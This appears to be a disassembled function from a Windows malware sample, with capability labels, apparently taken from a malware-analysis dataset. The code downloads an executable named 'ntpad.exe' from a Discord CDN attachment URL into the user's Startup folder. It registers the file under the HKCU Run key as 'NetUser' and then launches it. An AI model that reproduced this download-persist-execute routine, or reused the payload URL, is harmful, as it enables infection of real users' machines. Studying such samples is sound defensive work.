Function at 0x14002e930
Capabilities:
Create process on windows
Download url
Get common file path
Get session user name
Persist via run registry key
Receive data
Set registry value
Terminate process

Disassembly:
sub rsp, 0x4f8
mov rax, qword [0x1400f3040]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1210642843631231048_1216496819958186046_ntpad.exe_ex66320a33is6630b8b3hm48f4ee31a8243351a7b1b30278c5cab20856fad8b020f42981f1f77e69d12ed3
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x14002e9ad
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
movsxd rax, dword [rsp + 0x38]
mov qword [rsp + 0x78], rax
mov eax, 2
mov rcx, qword [rsp + 0x78]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400c1960
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14002ea7e
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.1400c192c
cmp qword [rsp + 0x58], 0
jne 0x14002ea60
mov qword [rsp + 0x88], 0
jmp 0x14002ea76
mov qword [rsp + 0x30], 0x8123
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x88], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rsp + 0xb8], 0x101
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x14002eb07
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400c192c
cmp qword [rsp + 0x60], 0
jne 0x14002eae9
mov qword [rsp + 0x90], 0
jmp 0x14002eaff
mov qword [rsp + 0x30], 0x8123
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x90], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jge 0x14002eb8f
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.1400c192c
cmp qword [rsp + 0x68], 0
jne 0x14002eb71
mov qword [rsp + 0x98], 0
jmp 0x14002eb87
mov qword [rsp + 0x30], 0x8123
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x98], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rdx, str.ntpad.exe
lea rcx, [rsp + 0xc0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xc0]
mov rdx, qword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.1400c192c
cmp qword [rsp + 0x70], 0
jne 0x14002ebf3
mov qword [rsp + 0xa0], 0
jmp 0x14002ec09
mov qword [rsp + 0x30], 0x8123
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xa0], rax
cmp dword [rsp + 0x48], 0
je 0x14002ec34
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14002ec86
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x40], 0xffffffffffffffff
inc qword [rsp + 0x40]
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x40]
cmp word [rax + rcx*2], 0
jne 0x14002ec9f
mov rax, qword [rsp + 0x40]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.NetUser
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14002ed27
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xc0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1400c14a0
add rsp, 0x4f8
ret